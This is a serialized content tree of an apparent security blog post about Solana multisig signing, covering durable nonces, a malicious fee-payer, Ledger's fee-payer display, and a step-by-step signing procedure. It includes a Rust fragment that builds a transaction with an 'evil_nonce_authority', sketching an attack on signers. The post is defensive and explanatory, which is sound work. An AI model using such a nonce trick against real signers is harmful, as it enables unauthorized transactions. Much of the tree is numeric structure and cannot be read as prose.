"style":523},[68086],{"type":28,"value":630},{"type":23,"tag":504,"props":68088,"children":68089},{"class":506,"line":540},[68090,68094,68099],{"type":23,"tag":504,"props":68091,"children":68092},{"style":511},[68093],{"type":28,"value":1977},{"type":23,"tag":504,"props":68095,"children":68096},{"style":529},[68097],{"type":28,"value":68098}," message",{"type":23,"tag":504,"props":68100,"children":68101},{"style":598},[68102],{"type":28,"value":34832},{"type":23,"tag":504,"props":68104,"children":68105},{"class":506,"line":555},[68106,68111,68115,68120,68124,68128,68132,68136,68140,68144,68148,68152,68157,68161,68165,68170,68174,68178,68182],{"type":23,"tag":504,"props":68107,"children":68108},{"style":1012},[68109],{"type":28,"value":68110},"        Message",{"type":23,"tag":504,"props":68112,"children":68113},{"style":598},[68114],{"type":28,"value":2457},{"type":23,"tag":504,"props":68116,"children":68117},{"style":517},[68118],{"type":28,"value":68119},"new_with_nonce",{"type":23,"tag":504,"props":68121,"children":68122},{"style":523},[68123],{"type":28,"value":526},{"type":23,"tag":504,"props":68125,"children":68126},{"style":517},[68127],{"type":28,"value":2853},{"type":23,"tag":504,"props":68129,"children":68130},{"style":523},[68131],{"type":28,"value":2711},{"type":23,"tag":504,"props":68133,"children":68134},{"style":529},[68135],{"type":28,"value":42656},{"type":23,"tag":504,"props":68137,"children":68138},{"style":523},[68139],{"type":28,"value":22041},{"type":23,"tag":504,"props":68141,"children":68142},{"style":1012},[68143],{"type":28,"value":40995},{"type":23,"tag":504,"props":68145,"children":68146},{"style":523},[68147],{"type":28,"value":526},{"type":23,"tag":504,"props":68149,"children":68150},{"style":598},[68151],{"type":28,"value":2086},{"type":23,"tag":504,"props":68153,"children":68154},{"style":529},[68155],{"type":28,"value":68156},"evil_nonce_authority",{"type":23,"tag":504,"props":68158,"children":68159},{"style":523},[68160],{"type":28,"value":14157},{"type":23,"tag":504,"props":68162,"children":68163},{"style":598},[68164],{"type":28,"value":2086},{"type":23,"tag":504,"props":68166,"children":68167},{"style":529},[68168],{"type":28,"value":68169},"nonce_account",{"type":23,"tag":504,"props":68171,"children":68172},{"style":523},[68173],{"type":28,"value":576},{"type":23,"tag":504,"props":68175,"children":68176},{"style":598},[68177],{"type":28,"value":2086},{"type":23,"tag":504,"props":68179,"children":68180},{"style":529},[68181],{"type":28,"value":68156},{"type":23,"tag":504,"props":68183,"children":68184},{"style":523},[68185],{"type":28,"value":1192},{"type":23,"tag":504,"props":68187,"children":68188},{"class":506,"line":633},[68189,68193,68198],{"type":23,"tag":504,"props":68190,"children":68191},{"style":598},[68192],{"type":28,"value":2145},{"type":23,"tag":504,"props":68194,"children":68195},{"style":517},[68196],{"type":28,"value":68197},"serialize",{"type":23,"tag":504,"props":68199,"children":68200},{"style":523},[68201],{"type":28,"value":2647},{"type":23,"tag":24,"props":68203,"children":68204},{},[68205,68207,68214],{"type":28,"value":68206},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":92,"props":68208,"children":68211},{"href":68209,"rel":68210},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[96],[68212],{"type":28,"value":68213},"logs the fee-payer here",{"type":28,"value":320},{"type":23,"tag":494,"props":68216,"children":68218},{"className":15493,"code":68217,"language":2124,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[68219],{"type":23,"tag":56,"props":68220,"children":68221},{"__ignoreMap":7},[68222,68281,68337],{"type":23,"tag":504,"props":68223,"children":68224},{"class":506,"line":507},[68225,68229,68234,68238,68242,68247,68251,68256,68260,68264,68268,68272,68277],{"type":23,"tag":504,"props":68226,"children":68227},{"style":511},[68228],{"type":28,"value":28667},{"type":23,"tag":504,"props":68230,"children":68231},{"style":517},[68232],{"type":28,"value":68233}," print_config_show_authority",{"type":23,"tag":504,"props":68235,"children":68236},{"style":523},[68237],{"type":28,"value":526},{"type":23,"tag":504,"props":68239,"children":68240},{"style":511},[68241],{"type":28,"value":8635},{"type":23,"tag":504,"props":68243,"children":68244},{"style":523},[68245],{"type":28,"value":68246}," PrintConfig",{"type":23,"tag":504,"props":68248,"children":68249},{"style":598},[68250],{"type":28,"value":3552},{"type":23,"tag":504,"props":68252,"children":68253},{"style":529},[68254],{"type":28,"value":68255}," print_config",{"type":23,"tag":504,"props":68257,"children":68258},{"style":523},[68259],{"type":28,"value":576},{"type":23,"tag":504,"props":68261,"children":68262},{"style":511},[68263],{"type":28,"value":8635},{"type":23,"tag":504,"props":68265,"children":68266},{"style":523},[68267],{"type":28,"value":19838},{"type":23,"tag":504,"props":68269,"children":68270},{"style":598},[68271],{"type":28,"value":3552},{"type":23,"tag":504,"props":68273,"children":68274},{"style":529},[68275],{"type":28,"value":68276}," authority",{"type":23,"tag":504,"props":68278,"children":68279},{"style":523},[68280],{"type":28,"value":537},{"type":23,"tag":504,"props":68282,"children":68283},{"class":506,"line":540},[68284,68288,68292,68296,68301,68305,68309,68314,68318,68323,68327,68332],{"type":23,"tag":504,"props":68285,"children":68286},{"style":544},[68287],{"type":28,"value":15968},{"type":23,"tag":504,"props":68289,"children":68290},{"style":529},[68291],{"type":28,"value":68255},{"type":23,"tag":504,"props":68293,"children":68294},{"style":523},[68295],{"type":28,"value":12738},{"type":23,"tag":504,"props":68297,"children":68298},{"style":529},[68299],{"type":28,"value":68300},"expert_mode",{"type":23,"tag":504,"props":68302,"children":68303},{"style":598},[68304],{"type":28,"value":22679},{"type":23,"tag":504,"props":68306,"children":68307},{"style":598},[68308],{"type":28,"value":11845},{"type":23,"tag":504,"props":68310,"children":68311},{"style":517},[68312],{"type":28,"value":68313},"pubkeys_equal",{"type":23,"tag":504,"props":68315,"children":68316},{"style":523},[68317],{"type":28,"value":526},{"type":23,"tag":504,"props":68319,"children":68320},{"style":529},[68321],{"type":28,"value":68322},"print_config",{"type":23,"tag":504,"props":68324,"children":68325},{"style":523},[68326],{"type":28,"value":12738},{"type":23,"tag":504,"props":68328,"children":68329},{"style":529},[68330],{"type":28,"value":68331},"signer_pubkey",{"type":23,"tag":504,"props":68333,"children":68334},{"style":523},[68335],{"type":28,"value":68336},", authority);\n",{"type":23,"tag":504,"props":68338,"children":68339},{"class":506,"line":555},[68340],{"type":23,"tag":504,"props":68341,"children":68342},{"style":523},[68343],{"type":28,"value":884},{"type":23,"tag":24,"props":68345,"children":68346},{},[68347],{"type":28,"value":68348},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":68350,"children":68351},{},[68352],{"type":28,"value":68353},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":68355,"children":68356},{},[68357],{"type":28,"value":68358},"We can then use the following procedure.",{"type":23,"tag":41,"props":68360,"children":68361},{},[68362,68367,68372,68377,68382],{"type":23,"tag":45,"props":68363,"children":68364},{},[68365],{"type":28,"value":68366},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":45,"props":68368,"children":68369},{},[68370],{"type":28,"value":68371},"The first signer signs and submits the transaction.",{"type":23,"tag":45,"props":68373,"children":68374},{},[68375],{"type":28,"value":68376},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":45,"props":68378,"children":68379},{},[68380],{"type":28,"value":68381},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":45,"props":68383,"children":68384},{},[68385],{"type":28,"value":68386},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":70,"props":68388,"children":68390},{"id":68389},"beyond",[68391],{"type":28,"value":68392},"Beyond",{"type":23,"tag":24,"props":68394,"children":68395},{},[68396],{"type":28,"value":68397},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":68399,"children":68400},{},[68401,68403,68410],{"type":28,"value":68402},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":92,"props":68404,"children":68407},{"href":68405,"rel":68406},"https://github.com/pcaversaccio/safe-tx-hashes-util",[96],[68408],{"type":28,"value":68409},"validate Safe transaction hashes",{"type":28,"value":68411},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":17402,"props":68413,"children":68415},{"className":68414,"dataFootnotes":7},[17405],[68416,68421],{"type":23,"tag":70,"props":68417,"children":68419},{"className":68418,"id":14461},[17410],[68420],{"type":28,"value":17413},{"type":23,"tag":41,"props":68422,"children":68423},{},[68424],{"type":23,"tag":45,"props":68425,"children":68426},{"id":29348},[68427,68429,68437,68439],{"type":28,"value":68428},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":92,"props":68430,"children":68434},{"href":68431,"rel":68432,":style":68433},"https://twitter.com/PierreArowana",[96],"color: #B1D0EE; text-decoration: underline;",[68435],{"type":28,"value":68436},"@PierreArowana",{"type":28,"value":68438}," for pointing this out to me. ",{"type":23,"tag":92,"props":68440,"children":68442},{"href":29376,"ariaLabel":17516,"className":68441,"dataFootnoteBackref":7},[17518],[68443],{"type":28,"value":17521},{"type":23,"tag":1815,"props":68445,"children":68446},{},[68447],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":68449},[68450,68454,68455,68456],{"id":66646,"depth":540,"text":66649,"children":68451},[68452,68453],{"id":66657,"depth":555,"text":66660},{"id":66936,"depth":555,"text":66939},{"id":67657,"depth":540,"text":67660},{"id":68389,"depth":540,"text":68392},{"id":14461,"depth":540,"text":17413},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":68461,"image":68462,"isFeatured":16,"onBlogPage":16,"tags":68463,"body":68464,"_type":1838,"_id":1839,"_source":1840,"_file":1841,"_stem":1842,"_extension":1843},[12,13],{"src":15},[18],{"type":20,"children":68465,"toc":69920},[68466,68470,68474,68478,68499,68503,68507,68511,68526,68530,68534,68540,68550,68572,68576,68610,68616,68620,68648,68664,68671,68687,68693,68697,68701,68705,68709,68730,68734,68738,68742,68757,68761,68783,68805,68811,68815,68819,69146,69150,69166,69170,69186,69196,69206,69210,69223,69227,69882,69886,69890,69894,69904,69908,69912,69916],{"type":23,"tag":24,"props":68467,"children":68468},{},[68469],{"type":28,"value":29},{"type":23,"tag":24,"props":68471,"children":68472},{},[68473],{"type":28,"value":34},{"type":23,"tag":24,"props":68475,"children":68476},{},[68477],{"type":28,"value":39},{"type":23,"tag":41,"props":68479,"children":68480},{},[68481,68485,68495],{"type":23,"tag":45,"props":68482,"children":68483},{},[68484],{"type":28,"value":49},{"type":23,"tag":45,"props":68486,"children":68487},{},[68488,68489,68494],{"type":28,"value":54},{"type":23,"tag":56,"props":68490,"children":68492},{"className":68491},[],[68493],{"type":28,"value":61},{"type":28,"value":63},{"type":23,"tag":45,"props":68496,"children":68497},{},[68498],{"type":28,"value":68},{"type":23,"tag":70,"props":68500,"children":68501},{"id":72},[68502],{"type":28,"value":75},{"type":23,"tag":24,"props":68504,"children":68505},{},[68506],{"type":28,"value":80},{"type":23,"tag":82,"props":68508,"children":68509},{"id":84},[68510],{"type":28,"value":87},{"type":23,"tag":24,"props":68512,"children":68513},{},[68514,68519,68520,68525],{"type":23,"tag":92,"props":68515,"children":68517},{"href":94,"rel":68516},[96],[68518],{"type":28,"value":99},{"type":28,"value":101},{"type":23,"tag":92,"props":68521,"children":68523},{"href":104,"rel":68522},[96],[68524],{"type":28,"value":108},{"type":28,"value":110},{"type":23,"tag":82,"props":68527,"children":68528},{"id":113},[68529],{"type":28,"value":116},{"type":23,"tag":24,"props":68531,"children":68532},{},[68533],{"type":28,"value":121},{"type":23,"tag":24,"props":68535,"children":68536},{},[68537],{"type":23,"tag":126,"props":68538,"children":68539},{"alt":128,"src":129},[],{"type":23,"tag":24,"props":68541,"children":68542},{},[68543,68544,68549],{"type":28,"value":135},{"type":23,"tag":56,"props":68545,"children":68547},{"className":68546},[],[68548],{"type":28,"value":141},{"type":28,"value":143},{"type":23,"tag":24,"props":68551,"children":68552},{},[68553,68554,68559,68560,68565,68566,68571],{"type":28,"value":148},{"type":23,"tag":56,"props":68555,"children":68557},{"className":68556},[],[68558],{"type":28,"value":154},{"type":28,"value":156},{"type":23,"tag":56,"props":68561,"children":68563},{"className":68562},[],[68564],{"type":28,"value":162},{"type":28,"value":164},{"type":23,"tag":92,"props":68567,"children":68569},{"href":167,"rel":68568},[96],[68570],{"type":28,"value":171},{"type":28,"value":173},{"type":23,"tag":82,"props":68573,"children":68574},{"id":176},[68575],{"type":28,"value":179},{"type":23,"tag":24,"props":68577,"children":68578},{},[68579,68580,68585,68586,68591,68592,68597,68598,68603,68604,68609],{"type":28,"value":184},{"type":23,"tag":92,"props":68581,"children":68583},{"href":187,"rel":68582},[96],[68584],{"type":28,"value":191},{"type":28,"value":193},{"type":23,"tag":56,"props":68587,"children":68589},{"className":68588},[],[68590],{"type":28,"value":199},{"type":28,"value":201},{"type":23,"tag":56,"props":68593,"children":68595},{"className":68594},[],[68596],{"type":28,"value":207},{"type":28,"value":209},{"type":23,"tag":56,"props":68599,"children":68601},{"className":68600},[],[68602],{"type":28,"value":154},{"type":28,"value":216},{"type":23,"tag":56,"props":68605,"children":68607},{"className":68606},[],[68608],{"type":28,"value":199},{"type":28,"value":223},{"type":23,"tag":24,"props":68611,"children":68612},{},[68613],{"type":23,"tag":126,"props":68614,"children":68615},{"alt":128,"src":229},[],{"type":23,"tag":82,"props":68617,"children":68618},{"id":233},[68619],{"type":28,"value":236},{"type":23,"tag":24,"props":68621,"children":68622},{},[68623,68624,68629,68630,68635,68636,68641,68642,68647],{"type":28,"value":241},{"type":23,"tag":56,"props":68625,"children":68627},{"className":68626},[],[68628],{"type":28,"value":154},{"type":28,"value":248},{"type":23,"tag":56,"props":68631,"children":68633},{"className":68632},[],[68634],{"type":28,"value":254},{"type":28,"value":256},{"type":23,"tag":56,"props":68637,"children":68639},{"className":68638},[],[68640],{"type":28,"value":154},{"type":28,"value":263},{"type":23,"tag":56,"props":68643,"children":68645},{"className":68644},[],[68646],{"type":28,"value":254},{"type":28,"value":270},{"type":23,"tag":24,"props":68649,"children":68650},{},[68651,68652,68657,68658,68663],{"type":28,"value":275},{"type":23,"tag":92,"props":68653,"children":68655},{"href":278,"rel":68654},[96],[68656],{"type":28,"value":282},{"type":28,"value":284},{"type":23,"tag":56,"props":68659,"children":68661},{"className":68660},[],[68662],{"type":28,"value":199},{"type":28,"value":291},{"type":23,"tag":24,"props":68665,"children":68666},{},[68667],{"type":23,"tag":296,"props":68668,"children":68669},{},[68670],{"type":28,"value":300},{"type":23,"tag":24,"props":68672,"children":68673},{},[68674,68675,68680,68681,68686],{"type":28,"value":305},{"type":23,"tag":56,"props":68676,"children":68678},{"className":68677},[],[68679],{"type":28,"value":311},{"type":28,"value":313},{"type":23,"tag":56,"props":68682,"children":68684},{"className":68683},[],[68685],{"type":28,"value":141},{"type":28,"value":320},{"type":23,"tag":24,"props":68688,"children":68689},{},[68690],{"type":23,"tag":126,"props":68691,"children":68692},{"alt":128,"src":326},[],{"type":23,"tag":24,"props":68694,"children":68695},{},[68696],{"type":28,"value":332},{"type":23,"tag":82,"props":68698,"children":68699},{"id":335},[68700],{"type":28,"value":338},{"type":23,"tag":24,"props":68702,"children":68703},{},[68704],{"type":28,"value":343},{"type":23,"tag":24,"props":68706,"children":68707},{},[68708],{"type":28,"value":348},{"type":23,"tag":350,"props":68710,"children":68711},{},[68712,68721],{"type":23,"tag":45,"props":68713,"children":68714},{},[68715,68720],{"type":23,"tag":56,"props":68716,"children":68718},{"className":68717},[],[68719],{"type":28,"value":361},{"type":28,"value":363},{"type":23,"tag":45,"props":68722,"children":68723},{},[68724,68729],{"type":23,"tag":56,"props":68725,"children":68727},{"className":68726},[],[68728],{"type":28,"value":372},{"type":28,"value":374},{"type":23,"tag":24,"props":68731,"children":68732},{},[68733],{"type":28,"value":379},{"type":23,"tag":70,"props":68735,"children":68736},{"id":382},[68737],{"type":28,"value":385},{"type":23,"tag":82,"props":68739,"children":68740},{"id":388},[68741],{"type":28,"value":391},{"type":23,"tag":24,"props":68743,"children":68744},{},[68745,68750,68751,68756],{"type":23,"tag":92,"props":68746,"children":68748},{"href":397,"rel":68747},[96],[68749],{"type":28,"value":401},{"type":28,"value":403},{"type":23,"tag":92,"props":68752,"children":68754},{"href":406,"rel":68753},[96],[68755],{"type":28,"value":410},{"type":28,"value":412},{"type":23,"tag":82,"props":68758,"children":68759},{"id":415},[68760],{"type":28,"value":418},{"type":23,"tag":24,"props":68762,"children":68763},{},[68764,68765,68770,68771,68776,68777,68782],{"type":28,"value":423},{"type":23,"tag":56,"props":68766,"children":68768},{"className":68767},[],[68769],{"type":28,"value":61},{"type":28,"value":430},{"type":23,"tag":56,"props":68772,"children":68774},{"className":68773},[],[68775],{"type":28,"value":436},{"type":28,"value":438},{"type":23,"tag":56,"props":68778,"children":68780},{"className":68779},[],[68781],{"type":28,"value":444},{"type":28,"value":446},{"type":23,"tag":24,"props":68784,"children":68785},{},[68786,68787,68792,68793,68798,68799,68804],{"type":28,"value":451},{"type":23,"tag":56,"props":68788,"children":68790},{"className":68789},[],[68791],{"type":28,"value":457},{"type":28,"value":459},{"type":23,"tag":56,"props":68794,"children":68796},{"className":68795},[],[68797],{"type":28,"value":465},{"type":28,"value":467},{"type":23,"tag":56,"props":68800,"children":68802},{"className":68801},[],[68803],{"type":28,"value":473},{"type":28,"value":475},{"type":23,"tag":24,"props":68806,"children":68807},{},[68808],{"type":23,"tag":126,"props":68809,"children":68810},{"alt":128,"src":481},[],{"type":23,"tag":24,"props":68812,"children":68813},{},[68814],{"type":28,"value":487},{"type":23,"tag":24,"props":68816,"children":68817},{},[68818],{"type":28,"value":492},{"type":23,"tag":494,"props":68820,"children":68821},{"className":496,"code":497,"language":498,"meta":7,"style":7},[68822],{"type":23,"tag":56,"props":68823,"children":68824},{"__ignoreMap":7},[68825,68848,68859,68922,68969,69016,69059,69082,69117,69132,69139],{"type":23,"tag":504,"props":68826,"children":68827},{"class":506,"line":507},[68828,68832,68836,68840,68844],{"type":23,"tag":504,"props":68829,"children":68830},{"style":511},[68831],{"type":28,"value":514},{"type":23,"tag":504,"props":68833,"children":68834},{"style":517},[68835],{"type":28,"value":520},{"type":23,"tag":504,"props":68837,"children":68838},{"style":523},[68839],{"type":28,"value":526},{"type":23,"tag":504,"props":68841,"children":68842},{"style":529},[68843],{"type":28,"value":532},{"type":23,"tag":504,"props":68845,"children":68846},{"style":523},[68847],{"type":28,"value":537},{"type":23,"tag":504,"props":68849,"children":68850},{"class":506,"line":540},[68851,68855],{"type":23,"tag":504,"props":68852,"children":68853},{"style":544},[68854],{"type":28,"value":547},{"type":23,"tag":504,"props":68856,"children":68857},{"style":523},[68858],{"type":28,"value":552},{"type":23,"tag":504,"props":68860,"children":68861},{"class":506,"line":555},[68862,68866,68870,68874,68878,68882,68886,68890,68894,68898,68902,68906,68910,68914,68918],{"type":23,"tag":504,"props":68863,"children":68864},{"style":511},[68865],{"type":28,"value":561},{"type":23,"tag":504,"props":68867,"children":68868},{"style":523},[68869],{"type":28,"value":566},{"type":23,"tag":504,"props":68871,"children":68872},{"style":529},[68873],{"type":28,"value":571},{"type":23,"tag":504,"props":68875,"children":68876},{"style":523},[68877],{"type":28,"value":576},{"type":23,"tag":504,"props":68879,"children":68880},{"style":529},[68881],{"type":28,"value":581},{"type":23,"tag":504,"props":68883,"children":68884},{"style":523},[68885],{"type":28,"value":576},{"type":23,"tag":504,"props":68887,"children":68888},{"style":529},[68889],{"type":28,"value":590},{"type":23,"tag":504,"props":68891,"children":68892},{"style":523},[68893],{"type":28,"value":595},{"type":23,"tag":504,"props":68895,"children":68896},{"style":598},[68897],{"type":28,"value":601},{"type":23,"tag":504,"props":68899,"children":68900},{"style":529},[68901],{"type":28,"value":606},{"type":23,"tag":504,"props":68903,"children":68904},{"style":523},[68905],{"type":28,"value":320},{"type":23,"tag":504,"props":68907,"children":68908},{"style":517},[68909],{"type":28,"value":615},{"type":23,"tag":504,"props":68911,"children":68912},{"style":523},[68913],{"type":28,"value":526},{"type":23,"tag":504,"props":68915,"children":68916},{"style":622},[68917],{"type":28,"value":625},{"type":23,"tag":504,"props":68919,"children":68920},{"style":523},[68921],{"type":28,"value":630},{"type":23,"tag":504,"props":68923,"children":68924},{"class":506,"line":633},[68925,68929,68933,68937,68941,68945,68949,68953,68957,68961,68965],{"type":23,"tag":504,"props":68926,"children":68927},{"style":511},[68928],{"type":28,"value":561},{"type":23,"tag":504,"props":68930,"children":68931},{"style":529},[68932],{"type":28,"value":643},{"type":23,"tag":504,"props":68934,"children":68935},{"style":598},[68936],{"type":28,"value":648},{"type":23,"tag":504,"props":68938,"children":68939},{"style":529},[68940],{"type":28,"value":653},{"type":23,"tag":504,"props":68942,"children":68943},{"style":523},[68944],{"type":28,"value":320},{"type":23,"tag":504,"props":68946,"children":68947},{"style":517},[68948],{"type":28,"value":662},{"type":23,"tag":504,"props":68950,"children":68951},{"style":523},[68952],{"type":28,"value":526},{"type":23,"tag":504,"props":68954,"children":68955},{"style":517},[68956],{"type":28,"value":671},{"type":23,"tag":504,"props":68958,"children":68959},{"style":523},[68960],{"type":28,"value":526},{"type":23,"tag":504,"props":68962,"children":68963},{"style":529},[68964],{"type":28,"value":571},{"type":23,"tag":504,"props":68966,"children":68967},{"style":523},[68968],{"type":28,"value":684},{"type":23,"tag":504,"props":68970,"children":68971},{"class":506,"line":687},[68972,68976,68980,68984,68988,68992,68996,69000,69004,69008,69012],{"type":23,"tag":504,"props":68973,"children":68974},{"style":511},[68975],{"type":28,"value":561},{"type":23,"tag":504,"props":68977,"children":68978},{"style":529},[68979],{"type":28,"value":697},{"type":23,"tag":504,"props":68981,"children":68982},{"style":598},[68983],{"type":28,"value":648},{"type":23,"tag":504,"props":68985,"children":68986},{"style":529},[68987],{"type":28,"value":653},{"type":23,"tag":504,"props":68989,"children":68990},{"style":523},[68991],{"type":28,"value":320},{"type":23,"tag":504,"props":68993,"children":68994},{"style":517},[68995],{"type":28,"value":662},{"type":23,"tag":504,"props":68997,"children":68998},{"style":523},[68999],{"type":28,"value":526},{"type":23,"tag":504,"props":69001,"children":69002},{"style":517},[69003],{"type":28,"value":671},{"type":23,"tag":504,"props":69005,"children":69006},{"style":523},[69007],{"type":28,"value":526},{"type":23,"tag":504,"props":69009,"children":69010},{"style":529},[69011],{"type":28,"value":581},{"type":23,"tag":504,"props":69013,"children":69014},{"style":523},[69015],{"type":28,"value":684},{"type":23,"tag":504,"props":69017,"children":69018},{"class":506,"line":736},[69019,69023,69027,69031,69035,69039,69043,69047,69051,69055],{"type":23,"tag":504,"props":69020,"children":69021},{"style":544},[69022],{"type":28,"value":742},{"type":23,"tag":504,"props":69024,"children":69025},{"style":523},[69026],{"type":28,"value":747},{"type":23,"tag":504,"props":69028,"children":69029},{"style":529},[69030],{"type":28,"value":752},{"type":23,"tag":504,"props":69032,"children":69033},{"style":529},[69034],{"type":28,"value":643},{"type":23,"tag":504,"props":69036,"children":69037},{"style":523},[69038],{"type":28,"value":576},{"type":23,"tag":504,"props":69040,"children":69041},{"style":529},[69042],{"type":28,"value":765},{"type":23,"tag":504,"props":69044,"children":69045},{"style":529},[69046],{"type":28,"value":697},{"type":23,"tag":504,"props":69048,"children":69049},{"style":523},[69050],{"type":28,"value":576},{"type":23,"tag":504,"props":69052,"children":69053},{"style":529},[69054],{"type":28,"value":590},{"type":23,"tag":504,"props":69056,"children":69057},{"style":523},[69058],{"type":28,"value":782},{"type":23,"tag":504,"props":69060,"children":69061},{"class":506,"line":785},[69062,69066,69070,69074,69078],{"type":23,"tag":504,"props":69063,"children":69064},{"style":523},[69065],{"type":28,"value":791},{"type":23,"tag":504,"props":69067,"children":69068},{"style":544},[69069],{"type":28,"value":796},{"type":23,"tag":504,"props":69071,"children":69072},{"style":523},[69073],{"type":28,"value":801},{"type":23,"tag":504,"props":69075,"children":69076},{"style":529},[69077],{"type":28,"value":806},{"type":23,"tag":504,"props":69079,"children":69080},{"style":523},[69081],{"type":28,"value":537},{"type":23,"tag":504,"props":69083,"children":69084},{"class":506,"line":813},[69085,69089,69093,69097,69101,69105,69109,69113],{"type":23,"tag":504,"props":69086,"children":69087},{"style":529},[69088],{"type":28,"value":819},{"type":23,"tag":504,"props":69090,"children":69091},{"style":523},[69092],{"type":28,"value":320},{"type":23,"tag":504,"props":69094,"children":69095},{"style":517},[69096],{"type":28,"value":806},{"type":23,"tag":504,"props":69098,"children":69099},{"style":523},[69100],{"type":28,"value":526},{"type":23,"tag":504,"props":69102,"children":69103},{"style":622},[69104],{"type":28,"value":836},{"type":23,"tag":504,"props":69106,"children":69107},{"style":523},[69108],{"type":28,"value":576},{"type":23,"tag":504,"props":69110,"children":69111},{"style":529},[69112],{"type":28,"value":806},{"type":23,"tag":504,"props":69114,"children":69115},{"style":523},[69116],{"type":28,"value":630},{"type":23,"tag":504,"props":69118,"children":69119},{"class":506,"line":851},[69120,69124,69128],{"type":23,"tag":504,"props":69121,"children":69122},{"style":544},[69123],{"type":28,"value":742},{"type":23,"tag":504,"props":69125,"children":69126},{"style":511},[69127],{"type":28,"value":861},{"type":23,"tag":504,"props":69129,"children":69130},{"style":523},[69131],{"type":28,"value":866},{"type":23,"tag":504,"props":69133,"children":69134},{"class":506,"line":869},[69135],{"type":23,"tag":504,"props":69136,"children":69137},{"style":523},[69138],{"type":28,"value":875},{"type":23,"tag":504,"props":69140,"children":69141},{"class":506,"line":878},[69142],{"type":23,"tag":504,"props":69143,"children":69144},{"style":523},[69145],{"type":28,"value":884},{"type":23,"tag":82,"props":69147,"children":69148},{"id":887},[69149],{"type":28,"value":890},{"type":23,"tag":24,"props":69151,"children":69152},{},[69153,69154,69159,69160,69165],{"type":28,"value":895},{"type":23,"tag":92,"props":69155,"children":69157},{"href":898,"rel":69156},[96],[69158],{"type":28,"value":902},{"type":28,"value":904},{"type":23,"tag":56,"props":69161,"children":69163},{"className":69162},[],[69164],{"type":28,"value":910},{"type":28,"value":912},{"type":23,"tag":70,"props":69167,"children":69168},{"id":915},[69169],{"type":28,"value":918},{"type":23,"tag":24,"props":69171,"children":69172},{},[69173,69174,69179,69180,69185],{"type":28,"value":923},{"type":23,"tag":92,"props":69175,"children":69177},{"href":926,"rel":69176},[96],[69178],{"type":28,"value":930},{"type":28,"value":932},{"type":23,"tag":56,"props":69181,"children":69183},{"className":69182},[],[69184],{"type":28,"value":311},{"type":28,"value":939},{"type":23,"tag":24,"props":69187,"children":69188},{},[69189,69190,69195],{"type":28,"value":944},{"type":23,"tag":92,"props":69191,"children":69193},{"href":947,"rel":69192},[96],[69194],{"type":28,"value":951},{"type":28,"value":953},{"type":23,"tag":24,"props":69197,"children":69198},{},[69199,69200,69205],{"type":28,"value":958},{"type":23,"tag":56,"props":69201,"children":69203},{"className":69202},[],[69204],{"type":28,"value":964},{"type":28,"value":966},{"type":23,"tag":24,"props":69207,"children":69208},{},[69209],{"type":28,"value":971},{"type":23,"tag":494,"props":69211,"children":69212},{"className":974,"code":975,"language":976,"meta":7,"style":7},[69213],{"type":23,"tag":56,"props":69214,"children":69215},{"__ignoreMap":7},[69216],{"type":23,"tag":504,"props":69217,"children":69218},{"class":506,"line":507},[69219],{"type":23,"tag":504,"props":69220,"children":69221},{},[69222],{"type":28,"value":975},{"type":23,"tag":24,"props":69224,"children":69225},{},[69226],{"type":28,"value":992},{"type":23,"tag":494,"props":69228,"children":69229},{"className":995,"code":996,"language":997,"meta":7,"style":7},[69230],{"type":23,"tag":56,"props":69231,"children":69232},{"__ignoreMap":7},[69233,69256,69263,69290,69309,69316,69323,69342,69353,69364,69395,69418,69465,69472,69479,69486,69493,69512,69543,69554,69561,69568,69587,69610,69621,69640,69655,69666,69689,69724,69743,69750,69761,69784,69795,69806,69813,69820,69827,69834,69841,69868,69875],{"type":23,"tag":504,"props":69234,"children":69235},{"class":506,"line":507},[69236,69240,69244,69248,69252],{"type":23,"tag":504,"props":69237,"children":69238},{"style":511},[69239],{"type":28,"value":1009},{"type":23,"tag":504,"props":69241,"children":69242},{"style":1012},[69243],{"type":28,"value":1015},{"type":23,"tag":504,"props":69245,"children":69246},{"style":523},[69247],{"type":28,"value":1020},{"type":23,"tag":504,"props":69249,"children":69250},{"style":1012},[69251],{"type":28,"value":1025},{"type":23,"tag":504,"props":69253,"children":69254},{"style":523},[69255],{"type":28,"value":1030},{"type":23,"tag":504,"props":69257,"children":69258},{"class":506,"line":540},[69259],{"type":23,"tag":504,"props":69260,"children":69261},{"emptyLinePlaceholder":16},[69262],{"type":28,"value":1038},{"type":23,"tag":504,"props":69264,"children":69265},{"class":506,"line":555},[69266,69270,69274,69278,69282,69286],{"type":23,"tag":504,"props":69267,"children":69268},{"style":511},[69269],{"type":28,"value":1046},{"type":23,"tag":504,"props":69271,"children":69272},{"style":511},[69273],{"type":28,"value":1051},{"type":23,"tag":504,"props":69275,"children":69276},{"style":517},[69277],{"type":28,"value":1056},{"type":23,"tag":504,"props":69279,"children":69280},{"style":523},[69281],{"type":28,"value":1061},{"type":23,"tag":504,"props":69283,"children":69284},{"style":1012},[69285],{"type":28,"value":1066},{"type":23,"tag":504,"props":69287,"children":69288},{"style":523},[69289],{"type":28,"value":1071},{"type":23,"tag":504,"props":69291,"children":69292},{"class":506,